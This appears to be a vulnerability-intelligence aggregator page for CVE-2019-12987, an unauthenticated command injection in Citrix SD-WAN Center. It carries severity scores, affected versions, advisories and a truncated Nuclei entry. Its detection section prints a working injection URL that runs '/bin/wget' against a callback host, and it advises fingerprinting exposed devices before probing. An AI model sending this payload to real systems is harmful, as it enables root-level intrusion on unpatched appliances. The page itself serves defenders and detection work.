CVE-2019-12987
published 2019-07-16CVE-2019-12987: Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8 have Improper Input Validation (issue 3 of 6).
PriorityP187critical9.8CVSS 3.0
AVNACLPRNUINSUCHIHAH
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
43.87%
98.6th percentile
Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8 have Improper Input Validation (issue 3 of 6).
Affected
6 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| citrix | citrix_sd-wan | — | — |
| citrix | netscaler_adc_gateway | — | — |
| citrix | netscaler_sd-wan | >= 10.0 < 10.0.8 | 10.0.8 |
| citrix | sd-wan | — | — |
| citrix | sd-wan | >= 10.2 < 10.2.3 | 10.2.3 |
| citrix | xenserver | — | — |
Detection & IOCsextracted from sources · hover to see the quote
url/Collector/storagemgmt/apply?data%5B0%5D%5Bhost%5D=%60/bin/wget+http://{{interactsh-url}}%60&data%5B0%5D%5Bpath%5D=mypath&data%5B0%5D%5Btype%5D=mytype
path/Collector/storagemgmt/apply
command/bin/wget http://{{interactsh-url}}
- →Detect exploitation attempts by monitoring HTTP GET requests to the path /Collector/storagemgmt/apply with array-style query parameters (data[0][host], data[0][path], data[0][type]) containing shell metacharacters such as backticks. ↗
- →Use OAST/out-of-band interaction detection (e.g., interactsh) to confirm blind command injection via HTTP callback from the target server after injecting a wget command in the host parameter.
- →Fingerprint exposed Citrix SD-WAN management interfaces using Shodan, FOFA, or Google dorks before probing for the vulnerability.
- →The vulnerability is unauthenticated; no session cookie or prior login is required to reach the /Collector/storagemgmt/apply endpoint.
- ·The vulnerable parameter values (host, path, type) are passed as URL-encoded array elements; WAF/IDS rules must decode percent-encoding (e.g., %5B → [, %5D → ]) to correctly match the attack pattern.
- ·The callStoragePerl function is the specific sink; the injection occurs because HTTP request parameter values are used unsanitized to construct a shell command, so detection should focus on shell metacharacters (backticks, semicolons, pipes) in those parameters.
- ·Affected versions are Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8; detections should be scoped to these version ranges. ↗
CVSS provenance
nvdv3.09.8CRITICALCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
vulncheck9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Citrix
CVE-2019-12987: Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8 have Improper Input Validation (issue 3 of 6).
vendor_citrix·2019-07-16·CVSS 9.8
CVE-2019-12987 [CRITICAL] CWE-78 CVE-2019-12987: Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8 have Improper Input Validation (issue 3 of 6).
CVE-2019-12987: Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8 have Improper Input Validation (issue 3 of 6).
Citrix
Citrix SD-WAN Multiple Security Updates
vendor_citrix·CVSS 9.8
CVE-2019-12985 [CRITICAL] Citrix SD-WAN Multiple Security Updates
Citrix SD-WAN Multiple Security Updates
of Problem Multiple vulnerabilities have been identified in the management console of the Citrix SD-WAN Center and NetScaler SD-WAN Center. Multiple Vulnerabilities have also been identified on the Citrix SD-WAN Appliance and NetScaler SD-WAN Appliance. Collectively, these vulnerabilities could result in an unauthenticated attacker executing commands as root against the SD-WAN Center management console, or potentially be used to gain root privileges on the SD-WAN appliance. The vulnerabilities have been assigned the following CVE numbers. CVE-2019-12985 – Unauthenticated Command Injection in Citrix SD-WAN Center 10.2.x before 10.2.3 and NetScaler SD-WAN Center 10.0.x before 10.0.8. CVE-2019-12986 – Unauthenticated Command Injection in Citrix SD-WAN
GHSA
GHSA-7658-v6cv-j9vp: Citrix SD-WAN 10
ghsa_unreviewed·2022-05-24
CVE-2019-12987 [CRITICAL] CWE-78 GHSA-7658-v6cv-j9vp: Citrix SD-WAN 10
Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8 have Improper Input Validation (issue 3 of 6).
VulnCheck
Citrix SD-WAN and NetScaler Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
vulncheck·2019·CVSS 9.8
CVE-2019-12987 [CRITICAL] Citrix SD-WAN and NetScaler Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Citrix SD-WAN and NetScaler Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8 have Improper Input Validation (issue 3 of 6).
Affected: Citrix SD-WAN and NetScaler
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Exploitation References: https://dashboard.shadowserver.org/statistics/honeypot/vulnerability/map/?day=2023-12-05&host_type=src&vulnerability=cve-2019-12987; https://dashboard.shadowserver.org/statistics/honeypot/vulnerability/map/?day=2023-12-11&host_type=src&vulnerability=cve-2019-12987; https://dashboard.shadowserver.org/statistics/honeypot/vulnerability
No detection rules found.
Nuclei
Citrix SD-WAN Center - Remote Command Injection
nuclei·CVSS 9.8
CVE-2019-12987 [CRITICAL] Citrix SD-WAN Center - Remote Command Injection
Citrix SD-WAN Center - Remote Command Injection
Citrix SD-WAN Center is susceptible to remote command injection via the apply action in StorageMgmtController. The callStoragePerl function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying an array value with crafted values for action, host, path, or type, thereby potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.
Template:
id: CVE-2019-12987
info:
name: Citrix SD-WAN Center - Remote Command Injection
author: gy741
severity: critical
description: |
Citrix SD-WAN Center is susceptible to remote command inject
Tenable
Multiple Vulnerabilities Found in Citrix SD-WAN Center and SD-WAN Appliances
blogs_tenable·2019-07-11
Multiple Vulnerabilities Found in Citrix SD-WAN Center and SD-WAN Appliances
## Cloud Exposure
Tenable Cloud Security (CNAPP) Request a demo
Tenable Cloud Vulnerability Management Request a demo
Tenable CIEM Request a demo
Secure your cloud
## Vulnerability Exposure
Tenable Vulnerability Management Try for free
Tenable Security Center Request a demo
Tenable Web App Scanning Try for free
Tenable Patch Management Request a demo
Tenable Enclave Security Request a demo
Tenable Attack Surface Management Request a demo
Tenable Nessus Try for free
## AI Exposure
Tenable AI Exposure Request a demo
## OT/IoT Exposure
Tenable OT Security Request a demo
## Identity Exposure
Tenable Identity Exposure Request a demo
## Business needs
Active Directory
AI Security Posture Management (AI-SPM)
AWS security
Azure security
Cloud Security Posture Man
Tenable
Citrix SD-WAN Center Multiple Vulnerabilities
blogs_tenable·2019-07-02
Citrix SD-WAN Center Multiple Vulnerabilities
## Cloud Exposure
Tenable Cloud Security (CNAPP) Request a demo
Tenable Cloud Vulnerability Management Request a demo
Tenable CIEM Request a demo
Secure your cloud
## Vulnerability Exposure
Tenable Vulnerability Management Try for free
Tenable Security Center Request a demo
Tenable Web App Scanning Try for free
Tenable Patch Management Request a demo
Tenable Enclave Security Request a demo
Tenable Attack Surface Management Request a demo
Tenable Nessus Try for free
## AI Exposure
Tenable AI Exposure Request a demo
## OT/IoT Exposure
Tenable OT Security Request a demo
## Identity Exposure
Tenable Identity Exposure Request a demo
## Business needs
Active Directory
AI Security Posture Management (AI-SPM)
AWS security
Azure security
Cloud Security Posture Man
Greynoiseio
NoiseLetter March 2026
blogs_greynoiseio
NoiseLetter March 2026
Events, events… and yes, even more events. 🌍 GreyNoise has been on the move. March kept us busy with stops at eCrimes in London and SecIT in Hanover—but we’re just getting started. Over the next few months, we’ll be hitting the road for CrowdStrike CrowdTours across eight cities, heading to Glasgow to speak and sponsor CyberUK, and making our way to Tampa for H-ISAC. If you’ll be at any of these (or nearby), we’d love to connect.
And while we’ve been racking up miles, we haven’t slowed down on the research front. We’ve just released some exciting new findings—with even more coming in the next few weeks—so keep an eye out.
Thanks, as always, for being part of the GreyNoise community.
Featured
About this new report
Every enterprise firewall processes traffic from residential IP space. T
2019-07-16
Published
Exploited in the wild